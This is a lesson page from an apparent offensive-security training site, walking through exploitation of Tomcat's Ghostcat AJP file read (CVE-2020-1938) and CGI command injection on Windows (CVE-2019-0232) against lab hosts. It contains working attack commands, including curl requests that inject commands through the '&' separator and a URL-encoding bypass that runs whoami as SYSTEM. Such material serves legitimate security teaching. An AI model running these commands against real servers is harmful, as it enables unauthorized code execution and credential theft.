VULNAREX
Secure Learning Network
ACCESS MODULE
🛡️Training Arenas
07 MODULES
LabsCORE
Interactive exploit and defense labs
CoursesLEARN
Structured learning tracks and missions
SandboxLIVE
Live browser and terminal hacking arena
WhiteboardPLAN
Attack planning and vector sketches
PracticeCODE
Hands-on code and vulnerability exercises
ReviewRECALL
Spaced repetition and concept recall
ToolsUTIL
Crypto, encoding, analysis and security utilities
ACCESS MODULE
📖Knowledge Vaults
08 MODULES
ArticlesREAD
Deep-dive security investigations
How-To GuidesBUILD
Folder-organized practical walkthroughs
BlogsNEWS
Cyber threat news and analysis
BooksLIB
Security textbooks and PDF library
CheatsheetsREF
Quick reference payloads and commands
ResourcesVAULT
Security downloads, references and repositories
DocsDOCS
Platform docs, guides and protocols
VulnerabilitiesCVE
CVEs, advisories and KEV intelligence
ACCESS MODULE
💼Career Prep
09 MODULES
ExamsCERT
Certification and challenge preparation
Interview QuestionsCAREER
Questions and answer walkthroughs
DashboardSTATS
XP, progress and live rank telemetry
Learning PathsROADMAP
Guided role-based learning roadmaps
Skill GraphSKILLS
Skill mastery, gaps and next actions
Daily MissionsDAILY
Personalized daily training objectives
Knowledge BaseMEMORY
Your searchable security memory
ServicesPRO
Consulting, training and expert reviews
ContactCONTACT
Connect with Vulnarex operations
AboutCommunity
Script KiddieLV.1
0
Operator Progress
Level 1
500 XP until next level
0 XP500 XP
Login
VULNAREX // CORE
Command Center
Status
ONLINE
XP
0
Level
1
Script Kiddie0/500
🛡️Training Arenas
LabsCORE
Interactive exploit and defense labs
CoursesLEARN
Structured learning tracks and missions
SandboxLIVE
Live browser and terminal hacking arena
WhiteboardPLAN
Attack planning and vector sketches
PracticeCODE
Hands-on code and vulnerability exercises
ReviewRECALL
Spaced repetition and concept recall
ToolsUTIL
Crypto, encoding, analysis and security utilities
📖Knowledge Vaults
ArticlesREAD
Deep-dive security investigations
How-To GuidesBUILD
Folder-organized practical walkthroughs
BlogsNEWS
Cyber threat news and analysis
BooksLIB
Security textbooks and PDF library
CheatsheetsREF
Quick reference payloads and commands
ResourcesVAULT
Security downloads, references and repositories
DocsDOCS
Platform docs, guides and protocols
VulnerabilitiesCVE
CVEs, advisories and KEV intelligence
💼Career Prep
ExamsCERT
Certification and challenge preparation
Interview QuestionsCAREER
Questions and answer walkthroughs
DashboardSTATS
XP, progress and live rank telemetry
Learning PathsROADMAP
Guided role-based learning roadmaps
Skill GraphSKILLS
Skill mastery, gaps and next actions
Daily MissionsDAILY
Personalized daily training objectives
Knowledge BaseMEMORY
Your searchable security memory
ServicesPRO
Consulting, training and expert reviews
ContactCONTACT
Connect with Vulnarex operations
🔗More
AboutCommunity
Login / Register
VULNAREX SECURE ACCESS CORE
Intel Dispatch · Subscribe

Get Exploit Alerts & New Release Drops

Advanced exploit dissections, CVE breakdowns, and new lab drops — straight to your inbox. Unsubscribe anytime.

VULNAREX

A gamified offensive-security sandbox for developers, sysadmins, and researchers — from baseline hardening to kernel-level exploits.

Core Instance · Active & Stable
Telegram WhatsApp Facebook X / Twitter YouTube
Training
  • Labs
  • Courses
  • Sandbox
  • Component Library
  • Practice
  • Whiteboard
  • Tools
Knowledge
  • Articles
  • How-To Guides
  • Blogs
  • Books
  • Cheatsheets
  • Docs
  • Vulnerabilities
Career
  • Exams
  • Interview Prep
  • Dashboard
  • Learning Paths
  • Services
  • Contact
  • Community
Cluster Nodes
Active Nodes99.98% SLA
London · UK
24ms
Berlin · DE
18ms
Virginia · US
42ms
Tokyo · JP
95ms
30-day uptime99.98%

© 2026 VULNAREX SECURE LABS · ALL RECON FLAGS PROTECTED

Privacy·Terms·Disclaimer· TLS 1.3·Built with
Curriculum lobby
Ghostcat and Tomcat CGI: Two CVEs Hiding on Port 8009
0s8 min★ 40 XP
Syllabus

Attacking Common Applications: From Recon to RCE

22 lessons
Reconnaissance Foundations
01 Web App Attack Surface02 Nmap Web Discovery03 Eyewitness Aquatone
CMS Attack Chains
04 Wordpress Enumeration05 Wordpress Exploitation06 Joomla Attacks07 Drupal Drupageddon
Application Servers & CI/CD
08 Tomcat Manager Rce09 Tomcat Ghostcat Cgi10 Jenkins Script Console
Infrastructure Monitoring Tools
11 Splunk Custom Apps12 Prtg Command Injection
Support Portals & Code Repositories
13 Osticket Social Eng14 Gitlab Enum Rce
Legacy & Specialized Attack Vectors
15 Shellshock Cgi16 Coldfusion Exploitation17 Iis Tilde Enum18 Ldap Injection
Thick Clients & Service Connections
19 Thick Client Attacks20 Mass Assignment21 Service Connection Strings
Application Hardening & Defense
22 Application Hardening
Lesson 9Interactive lesson

Ghostcat and Tomcat CGI: Two CVEs Hiding on Port 8009

A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.

Lesson format15 sections5 code blocks1 practice itemUpdated Aug 27, 2026

#The AJP Protocol Nobody Remembers to Lock Down#link

During an internal assessment last year, I found a Tomcat 9.0.17 instance on a Windows server. Port 8009 was open. The enableCmdLineArguments setting was active. Two CVEs in one host. The sysadmin had no idea the AJP connector was even enabled.

CVE-2020-1938: Ghostcat LFI via AJP

Ghostcat affects all Tomcat versions before 9.0.31, 8.5.51, and 7.0.100. The AJP protocol on port 8009 allows reading files within the webapps directory. Not /etc/passwd—but WEB-INF/web.xml and potentially configuration files containing database credentials.
Confirming AJP is open
root@vulnarex:~#nmap -sV -p 8009,8080 app-dev.inlanefreight.local
Exploiting Ghostcat to read web.xml
root@vulnarex:~#python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml

CVE-2019-0232: CGI command injection on Windows

This one affects Windows systems with enableCmdLineArguments enabled. Versions 9.0.0.M1 through 9.0.17, 8.5.0 through 8.5.39, and 7.0.0 through 7.0.93. The CGI Servlet passes query string arguments directly to the script without sanitization. The & character acts as a command separator.

Fuzzing for CGI scripts
root@vulnarex:~#ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
Injecting commands via the & separator
root@vulnarex:~#curl "http://10.129.204.227:8080/cgi/welcome.bat?&dir"

The PATH variable is unset, so whoami won't work directly. You need full paths. And Tomcat's character filter blocks backslashes—but URL encoding bypasses it.

Bypassing character filter with URL encoding
root@vulnarex:~#curl "http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe"
c%3A%5C decodes to c:\. The regex filter checks the raw URL for backslashes, but the decoded value passes through to cmd.exe. NT AUTHORITY\SYSTEM. Game over.
★ 40 XP
quiz BLOCK (★ 40 XP)

What port does the AJP protocol typically run on in Tomcat?

Select your proof vectors above

Two CVEs on one host. Ghostcat reads your config files. CGI injection gives you SYSTEM. Both require port 8009 or the CGI servlet to be exposed—things that shouldn't be internet-facing but frequently are internally. Check both on every Tomcat instance you find.

Lesson completion

Ready to resolve this lesson?

Finish the lesson once you have worked through the material. This awards ★ 40 XP.

Previous lesson
Lesson tools
Workspace
0s
0% read
Lab notes
Notes persist per lesson.
The AJP Protocol Nobody Remembers to Lock Down
Content

Last updated

August 27, 2026

Agent Setup

Access lesson content programmatically for AI agents, LLMs, and automated pipelines.

Fetch as Markdown (Accept header)

curl -H "Accept: text/markdown" "/api/content/lessons?courseSlug=attacking-common-applications&lessonSlug=09-tomcat-ghostcat-cgi&lang=en&format=markdown"

MCP Server Config (mcp.json)

{
  "mcpServers": {
    "vulnarex": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-fetch"],
      "env": { "MCP_FETCH_URL": "https://vulnarex.com" }
    }
  }
}
MCP Server Card/.well-known/mcp.jsonA2A Agent Card/.well-known/agent-card.jsonAPI Catalog/.well-known/api-catalogrobots.txt/robots.txt
Laboratory sanity code

Isolate active probes on matched virtual networks and keep execution streams sandboxed.